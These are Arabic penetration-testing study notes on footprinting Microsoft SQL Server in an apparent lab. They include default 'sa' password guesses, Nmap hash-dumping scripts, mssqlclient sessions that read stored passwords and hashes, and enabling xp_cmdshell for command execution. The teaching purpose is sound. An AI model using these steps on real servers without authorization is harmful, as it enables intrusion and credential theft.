نظرة عامة
MSSQL vs MySQL
| الخاصية | MSSQL | MySQL |
|---|---|---|
| المطور | Microsoft | Oracle |
| المصدر | Closed Source | Open Source |
| نظام التشغيل | Windows أساساً | Linux + Windows + Mac |
| الـ Stack | .NET Framework | LAMP / LEMP |
| Port | 1433 | 3306 |
| لغة SQL | T-SQL (Transact-SQL) | MySQL SQL |
| show databases | select name from sys.databases | show databases; |
💡 لو شفت Port 1433 مفتوح = غالباً Windows Server = ممكن AD + SMB + RDP على نفس الجهاز 🎯
🔌 MSSQL Clients
Client = أي برنامج تستخدمه للتواصل مع MSSQL Server:
| الـ Client | الاستخدام | أهمية Pentest |
|---|---|---|
| SSMS | GUI كامل للـ admins | ممكن يحتوي saved credentials! 🎯 |
| mssqlclient.py | Impacket — command line | الأفضل للـ pentest ✅ |
| mssql-cli | command line بسيط | بديل |
| HeidiSQL | GUI خفيف | نادر في pentest |
⚠️ SSMS مثبت على أجهزة المطورين والـ admins — مش بس السيرفر! لو اخترقت جهاز موظف وفيه SSMS بـ saved credentials = دخول مباشر للـ database!
🔧 NT SERVICE\MSSQLSERVER
لما تثبت MSSQL، Windows يخلق حساب خاص يشغّل الخدمة في الخلفية:
الإعداد الآمن
MSSQL يشتغل كـ:
NT SERVICE\MSSQLSERVER
صلاحيات محدودة ✅
NT SERVICE\MSSQLSERVER
صلاحيات محدودة ✅
الإعداد الخطير
MSSQL يشتغل كـ:
Local System / Administrator
اخترقت MSSQL = اخترقت Windows كامل 💀
Local System / Administrator
اخترقت MSSQL = اخترقت Windows كامل 💀
💡 نفس الفكرة في Linux: Apache يشتغل كـ www-data، MySQL يشتغل كـ mysql — لتحديد الضرر لو اتخترقت الخدمة
Authentication
🔑 Windows Auth vs SQL Auth
Windows Authentication
يستخدم حسابات Windows مباشرة
(SAM database أو Active Directory)
مثل: Administrator, Domain\User
مناسب للشبكات الكبيرة ✅
لو Windows account اتخترق = MSSQL اتخترق! 💀
(SAM database أو Active Directory)
مثل: Administrator, Domain\User
مناسب للشبكات الكبيرة ✅
لو Windows account اتخترق = MSSQL اتخترق! 💀
SQL Authentication
حسابات خاصة بـ MSSQL فقط
Windows ما يعرف عنها
مثل: sa, db_user
sa = System Admin الافتراضي ⚠️
Windows ما يعرف عنها
مثل: sa, db_user
sa = System Admin الافتراضي ⚠️
💡 تشبيه:
Windows Auth = بطاقة الموظف العامة (تفتح كل شيء)
SQL Auth = بطاقة خاصة بالـ database فقط
Windows Auth = بطاقة الموظف العامة (تفتح كل شيء)
SQL Auth = بطاقة خاصة بالـ database فقط
🔌 Named Pipes — الباب الخلفي
طريقة اتصال ثانية بـ MSSQL غير TCP/IP:
TCP/IP (الباب الأمامي)
Port 1433
يشتغل عبر الشبكة
Firewall يقدر يحجبه
يشتغل عبر الشبكة
Firewall يقدر يحجبه
Named Pipe (الباب الخلفي)
\\TARGET\pipe\sql\query
لو Port 1433 محجوب → جرب Named Pipe
ممكن يتجاوز الـ Firewall! 🎯
لو Port 1433 محجوب → جرب Named Pipe
ممكن يتجاوز الـ Firewall! 🎯
# في نتيجة Nmap:
Named pipe: \\10.129.201.248\pipe\sql\query
← Named Pipes مفعّل على هاد السيرفر!
System Databases
🗄️ الـ 5 Databases الافتراضية
| Database | الوظيفة | أهمية Pentest |
|---|---|---|
| master | معلومات النظام كاملة — كل الـ logins وpasswords والـ databases | أول database تفتحها! 🎯 |
| msdb | SQL Server Agent — scheduled jobs وalerts | ممكن credentials في الـ jobs! 🎯 |
| model | Template لكل database جديدة | محدود |
| tempdb | بيانات مؤقتة — تُحذف عند إعادة التشغيل | محدود |
| resource | Read-only — system objects | محدود |
🎯 master + msdb = أهم databases في الـ pentest. master لـ credentials، msdb لـ scheduled jobs.
📋 sys views — بديل information_schema
MySQL
SELECT * FROM information_schema.tables;
show databases;
show tables;
MSSQL (T-SQL)
SELECT * FROM sys.tables;
SELECT name FROM sys.databases;
SELECT name FROM sys.tables;
💡 sys في MSSQL = نفس information_schema في MySQL. كلاهما جداول نظام تحتوي metadata.
Dangerous Settings
⚠️ الإعدادات الخطيرة
| الإعداد | الخطر |
|---|---|
| No Encryption | بيانات clear-text على الشبكة — sniffing يكشف كل شيء |
| Self-Signed Certificate | MITM ممكن — شهادة مزيفة تخدع الـ client |
| Named Pipes Enabled | باب خلفي — يتجاوز الـ Firewall |
| Weak sa credentials | sa:sa أو sa:(empty) = admin access كامل! 💀 |
💀 No Encryption vs Self-Signed Certificate
No Encryption
بيانات مكشوفة مباشرة
أي sniffing = كل شيء
مثل التكلم بصوت عالي في الشارع
أي sniffing = كل شيء
مثل التكلم بصوت عالي في الشارع
Self-Signed Certificate
"مشفر" بس شهادة غير موثوقة
المهاجم ينشئ شهادة مزيفة
الـ client يقبلها = MITM 🎯
مثل قفل ممكن تفتحه بدبوس
المهاجم ينشئ شهادة مزيفة
الـ client يقبلها = MITM 🎯
مثل قفل ممكن تفتحه بدبوس
💀 sa Account — أخطر حساب
sa = System Administrator — الحساب الافتراضي بكامل الصلاحيات:
# جرب هاي الـ credentials أول دايماً:
sa:(empty password)
sa:sa
sa:password
sa:Password1
sa:P@ssw0rd
↓
# لو نجح:
Connected to MSSQL as sa
# عندك تحكم كامل بكل databases! 💀
⚠️ كثير admins ينسون يغيروا باسورد sa أو يتركونه فارغاً بعد التثبيت!
T-SQL Commands
📋 الأوامر الأساسية
| الأمر (T-SQL) | المعادل في MySQL | الوظيفة |
|---|---|---|
| SELECT name FROM sys.databases | show databases; | كل الـ databases |
| SELECT name FROM sys.tables | show tables; | كل الجداول |
| SELECT name FROM sys.columns WHERE object_id = OBJECT_ID('users') | show columns from users; | أعمدة جدول |
| SELECT * FROM users | select * from users; | كل البيانات |
| SELECT @@version | select version(); | إصدار SQL Server |
| SELECT name FROM sys.logins | select user from mysql.user; | كل الـ logins 🎯 |
💥 مثال كامل — Enumerate بعد الاتصال
python3 mssqlclient.py Administrator@10.129.201.248 -windows-auth
Password: P@ssw0rd
[*] Encryption required, switching to TLS
[*] INFO(SQL-01): Changed database context to 'master'
SQL> SELECT name FROM sys.databases
master
tempdb
model
msdb
Transactions ← قاعدة بيانات الشركة!
SQL> use Transactions
SQL> SELECT name FROM sys.tables
users
payments
logs
SQL> SELECT * FROM users
admin | P@ssw0rd123 ← plain text! 💀
john | Summer2021
🎯 Logins وCredentials من master
# كل الـ SQL logins:
SQL> SELECT name, password_hash FROM sys.sql_logins
sa | 0x0200... ← hash للـ sa!
db_user | 0x0200...
# كل الـ Windows logins:
SQL> SELECT name FROM sys.server_principals WHERE type = 'U'
SQL-01\Administrator
DOMAIN\john
🎯 sys.sql_logins = أسماء + hashes = hashcat! sys.server_principals = Windows accounts لها access
الأدوات
اختر الأداة:
Nmap
mssqlclient.py
Metasploit
🔍 Nmap على MSSQL
sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,\
ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,\
ms-sql-dac,ms-sql-dump-hashes \
--script-args mssql.instance-port=1433,mssql.username=sa,\
mssql.password=,mssql.instance-name=MSSQLSERVER \
-sV -p 1433 10.129.201.248
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2019
| ms-sql-ntlm-info:
| Target_Name: SQL-01
| DNS_Computer_Name: SQL-01
| Product_Version: 10.0.17763 ← Windows version!
|
| ms-sql-info:
| Instance name: MSSQLSERVER
| Version: Microsoft SQL Server 2019
| TCP port: 1433
| Named pipe: \\10.129.201.248\pipe\sql\query ← مفعّل!
💡 من الـ scan تعرف:
• اسم الجهاز = SQL-01
• إصدار Windows = 10.0.17763 (Server 2019) → ابحث عن CVEs
• Named Pipes مفعّل → باب خلفي
• إصدار SQL Server 2019 → ابحث عن CVEs
• اسم الجهاز = SQL-01
• إصدار Windows = 10.0.17763 (Server 2019) → ابحث عن CVEs
• Named Pipes مفعّل → باب خلفي
• إصدار SQL Server 2019 → ابحث عن CVEs
🗄️ mssqlclient.py — الاتصال المباشر
Windows Authentication:
python3 mssqlclient.py Administrator@10.129.201.248 -windows-auth
# أو:
impacket-mssqlclient Administrator@10.129.201.248 -windows-auth
SQL Authentication:
python3 mssqlclient.py sa@10.129.201.248
# جرب: sa بدون باسورد أول!
بعد الاتصال:
[!] Press help for extra shell commands
SQL> help
lcd, exit, enable_xp_cmdshell, disable_xp_cmdshell, xp_cmdshell, sp_start_job
SQL> enable_xp_cmdshell ← تشغيل OS commands من MSSQL!
SQL> xp_cmdshell whoami
nt service\mssqlserver
💀 xp_cmdshell = تشغيل أوامر Windows من داخل MSSQL = RCE مباشر!
⚡ Metasploit — mssql_ping
msf6 > use auxiliary/scanner/mssql/mssql_ping
msf6 > set rhosts 10.129.201.248
msf6 > run
[+] ServerName = SQL-01
[+] InstanceName = MSSQLSERVER
[+] IsClustered = No
[+] Version = 15.0.2000.5
[+] tcp = 1433
[+] np = \\SQL-01\pipe\sql\query
💡 mssql_ping = معلومات سريعة عن الـ MSSQL instance بدون credentials
Methodology
⛓️ خطوات الـ MSSQL Footprinting
1
Nmap Scan
اكتشاف MSSQL + إصدار + Named Pipes + Windows version
sudo nmap --script ms-sql-* -p1433 TARGET
2
جرب sa بدون باسورد
أكثر misconfiguration شائعة
python3 mssqlclient.py sa@TARGET
python3 mssqlclient.py sa:sa@TARGET
3
لو عندك Windows credentials
استخدم Windows Authentication
python3 mssqlclient.py Administrator@TARGET -windows-auth
4
Enumerate Databases
شوف كل الـ databases وحدد الهدف
SELECT name FROM sys.databases;
use Transactions;
SELECT name FROM sys.tables;
SELECT * FROM users;
5
xp_cmdshell → RCE
لو عندك sa أو admin access
enable_xp_cmdshell
xp_cmdshell whoami
xp_cmdshell "powershell -c ..."
💀 xp_cmdshell = RCE مباشر على Windows!
Explained — Q&A
🔑 Authentication
إيش الفرق بين Windows Auth وSQL Auth؟
Windows Auth يستخدم حسابات Windows (Administrator, Domain\User) — لو Windows account اتخترق = MSSQL اتخترق تلقائياً. SQL Auth يستخدم حسابات خاصة بـ MSSQL فقط (sa, db_user) — Windows ما يعرف عنها. تشبيه: Windows Auth = بطاقة موظف عامة، SQL Auth = بطاقة خاصة بالـ database.
ليش Named Pipes مهم في الـ pentest؟
لأنه طريقة اتصال بديلة بـ MSSQL غير TCP Port 1433. لو Firewall يحجب Port 1433، تقدر تتصل عبر Named Pipe: \\TARGET\pipe\sql\query. يشتغل على الشبكة المحلية — وأنت على VPN مع HTB = أنت على الشبكة الداخلية.
🗄️ T-SQL
إيش الفرق بين sys.databases وshow databases؟
نفس النتيجة — syntax مختلف. MySQL عنده shortcut "show databases". MSSQL يستخدم T-SQL وكل شيء عبر SELECT من جداول النظام (sys.*). sys في MSSQL = نفس information_schema في MySQL.
ليش master أهم database في الـ pentest؟
لأنها تحتوي معلومات النظام كاملة: كل الـ logins وpasswords الـ hashed، كل الـ databases الموجودة، إعدادات السيرفر. sys.sql_logins تعطيك أسماء + hashes = hashcat مباشرة!
إيش xp_cmdshell وليش خطير؟
xp_cmdshell = stored procedure في MSSQL تسمح بتشغيل أوامر Windows مباشرة من داخل SQL. لو عندك sa access وفعّلته = RCE كامل على Windows. مغلق افتراضياً بس كثير admins يفعّلونه "للراحة".